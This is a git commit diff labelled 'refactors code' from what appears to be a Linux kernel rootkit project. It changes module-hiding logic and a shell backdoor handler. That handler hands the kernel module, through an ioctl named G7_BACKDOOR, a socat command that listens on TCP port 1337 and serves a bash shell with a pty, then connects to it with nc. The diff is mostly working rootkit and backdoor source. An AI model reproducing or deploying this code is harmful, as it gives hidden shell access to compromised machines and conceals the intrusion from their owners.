commit 8faed00bce2e7e3e35b1e5856de4aefdde8f67de
parent 08c47cada045ca45e75dc5af0bc2e302d812a3f9
Author: deurzen <m.deurzen@tum.de>
Date: Sat, 5 Dec 2020 18:44:08 +0100
refactors code
Diffstat:
2 files changed, 13 insertions(+), 5 deletions(-)
diff --git a/src/channel.c b/src/channel.c
@@ -85,9 +85,10 @@ handle_modhide(unsigned long arg)
DEBUG_NOTICE("unloading module\n");
- call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
+ unhide_module();
+ rootkit.hiding_module = 0;
- DEBUG_NOTICE("after unload\n");
+ call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
} else if (sarg < 0) {
unhide_module();
rootkit.hiding_module = 0;
diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c
@@ -131,19 +131,26 @@ handle_backdoor(void *arg)
int
handle_shellbd(void *arg)
{
- const char *socat_cmd = "socat tcp4-listen:1337,reuseaddr,fork"
+ static const char *socat_cmd = "socat tcp4-listen:1337,reuseaddr,fork"
" exec:/bin/bash,pty,stderr,setsid";
issue_ioctl(G7_BACKDOOR, socat_cmd);
- char *argv[] = {
+ static char *argv[] = {
"sh",
"-c"
"nc 127.0.0.1 1337",
NULL
};
- return execve(argv[0], argv, NULL);
+ static char *envp[] = {
+ "HOME=/",
+ "TERM=linux",
+ "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
+ NULL
+ };
+
+ return execve(argv[0], argv, envp);
}
int